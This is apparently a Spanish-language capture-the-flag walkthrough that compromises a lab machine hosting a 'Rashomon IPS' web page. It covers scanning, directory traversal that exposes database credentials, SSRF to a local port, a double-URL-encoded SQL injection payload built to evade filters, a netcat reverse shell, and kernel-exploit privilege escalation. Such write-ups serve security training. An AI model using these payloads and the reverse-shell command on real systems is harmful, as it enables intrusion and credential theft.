Descubrimiento del host
Para identificar la máquina objetivo en la red, se utilizan herramientas de exploración de red y escaneo de servicios.
netdiscover -r 192.168.1.0/24
nmap -sV -A 192.168.1.105
Recopilación de información
El análisis revela servicios como OpenSSH 5.9p1, un servidor web Apache 2.2.22 con PHP 5.3.10, y un sistema operativo Linux con kernel entre versiones 3.x y 4.x. El sitio web aloja una página pricnipal denominada "Rashomon IPS".
Puntos de entrada externos
Ruta 1: Servicio OpenSSH
La versión de OpenSSH no presenta vulnerabilidades directamente explotables en este contexto.
Ruta 2: Aplicación web
Se procede con el reconocimiento y análisis de la aplicaicón web.
Enumeración de directorios
dirb http://192.168.1.105/
Se descubren endpoints como /config, /create y /server-status. La página principal promociona un sistema de prevención de intrusiones y ofrece un código promocional.
Análisis del código fuente
Se identifican dos funcionalidades clave: la verificación de códigos promocionales en checkpromo.php y la carga remota de imágenes mediante image.php.
Pruebas de funcionalidad
1. Endpoint de código promocional
Al probar la inyección SQL con comillas simples, se detecta una protección que filtra caracteres especiales.
2. Carga de imágenes remotas
Se explora la inclusión de archivos locales y remotos. Mediante directory traversal, se logra leer archivos de configuración del sistema, como config.php, que contiene credenciales de base de datos.
<?php
$host_db = "localhost";
$user_db = "products_user";
$pass_db = "secure_token_987";
$database = "inventory_db";
?>
Al revisar la configuración de Apache, se encuentra un virtual host en el puerto 8080 restringido a localhost.
Bypass del sistema de protección
Se identifica un punto de entrada adicional en el puerto 8080 accesible vía SSRF a través de image.php. Se realiza fuzzing para evadir filtros de caracteres y palabras clave.
Inyección SQL con evasión de codificación
Utilizando doble codificación URL, se construye una consulta SQL modificada para extraer datos de usuarios.
// Consulta original modificada para evasión
456'union select concat(user_name,'---',pass_key),1 from stored_items.users#
// Payload codificado
456%2527union%2520select%2520concat%2528user_name%252C%2527%252D%252D%252D%2527%252Cpass_key%2529%252C1%2520from%2520stored_items.users%2523
Se obtienen credenciales de acceso. El usuario resultante tiene permisos limitados, por lo que se establece una conexión inversa para obtener una shell interactiva.
// En máquina local
nc -lvp 9999
// En máquina objetivo
nc -e /bin/bash 192.168.1.50 9999
// Estabilización de la shell
python -c 'import pty;pty.spawn("/bin/bash")'
Escalada de privilegios
Se analizan permisos y versiones del sistema. El kernel Linux versión anterior a 4.9 permite la explotación de vulnerabilidades conocidas. Se compila y ejecuta un exploit adecuado para obtener acceso root.
// Búsqueda de exploits
searchsploit linux kernel 3.2
// Compilación y ejecución del exploit seleccionado
gcc exploit.c -o exploit && ./exploit
Tras obtener acceso root, se localiza una bandera en el directorio raíz del sistema.
Análisis adicional de archivos privilegiados
Durante la post-explotación, se identifica un binario con permisos SUID en el directorio de usuario. Mediante análisis estático, se determina que verifica el UID y GID del propietario antess de ejecutar funciones específicas. La manipulación de estos valores podría permitir la lectura de archivos restringidos.